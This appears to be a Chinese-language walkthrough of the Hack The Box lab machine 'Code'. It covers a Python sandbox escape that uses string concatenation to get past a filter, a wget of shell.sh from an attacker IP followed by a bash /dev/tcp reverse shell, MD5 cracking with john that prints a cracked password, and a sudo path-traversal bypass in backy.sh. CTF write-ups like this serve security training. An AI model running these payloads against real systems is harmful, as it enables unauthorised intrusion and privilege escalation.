信息收集
1、nmap
nmap --min-rate 10000 -A 10.10.11.62
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SSTI
寻找eval
函数,用通用的Python
脚本,这里有过滤的(通过+
拼接)
for i in range(500):
try:
data = ().__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
if'ev'+'al'in data:
print(i)
except Exception as e:
continue
命令执行Payload
-> 各种敏感字符串都通过+
拼接绕过
print(().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o"+"s").po'+'pen("ls /").re'+'ad()'))
反弹shell
-> wget
获取shell.sh
文件、bash
执行
#shell.sh
bash -i >& /dev/tcp/10.10.16.74/9999 0>&1
# 通过python开启http服务
python -m http.server 80
# 监听
nc -lvvp 9999
# 执行payload
print(().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o"+"s").po'+'pen("wget http://10.10.16.74/shell.sh -O /tmp/shell.sh").re'+'ad()'))
print(().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o"+"s").po'+'pen("bash /tmp/shell.sh").re'+'ad()'))
User.txt
横向移动
数据库泄露
instance目录下有个 database.db 文件
-> 泄露了 martin用户 密码的hash值 -> john爆破
哈希爆破
# MD5类型
john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
martin:nafeelswordsmaster
ssh
ssh [email protected]
提权
sudo -l # 指向了 backy.sh
# 审计该backy.sh文件内容
#!/bin/bash
if [[ $# -ne 1 ]]; then# $# 该变量是什么值-> echo $#为0
/usr/bin/echo"Usage: $0 <task.json>"
exit 1
fi
json_file="$1"# $1 也就是我们指向 .sh 后面带的第一个参数
if [[ ! -f "$json_file" ]]; then# 检查文件是否存在 -> 我们传入的第一个参数
/usr/bin/echo"Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/""/home/") # 允许的路径
updated_json=$(/usr/bin/jq '.directories_to_archivezi'du |= map(gsub("\.\./"; ""))' "$json_file")
# 使用jq工具、假设json存在一个directories_to_archive字段、将路径中的../ -> 替换为空
/usr/bin/echo "$updated_json" > "$json_file" # 清理完之后 > 更新$json_file
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1" # 接收传入的路径参数
for allowed_path in "${allowed_paths[@]}"; do # 遍历 allowed_paths 数组
if [[ "$path" == $allowed_path* ]]; then # 检查 $path 是否以某个允许路径开头
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
创建一个json
文件,通过双写/..././
绕过../
的清理
# task.json
{
"directories_to_archive": [
"/home/..././root/"
],
"destination": "/tmp"
}
# 执行
sudo /usr/bin/backy.sh task.json
# 解压文件
tar -xjf code_home_.._root_2025_March.tar.bz2
-x : 提取文件
-j : 使用bzip2解压缩 -> 对应bz2
-f : 指定文件
总结
5000端口 -> Python代码编辑器 -> SSTI -> 拼接 绕waf -> getshell
db文件泄露 -> hash爆破 -> 横向移动
sudo -l提权 -> jq命令使用 -> root
原文始发于微信公众号(夜风Sec):HTB-Code
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论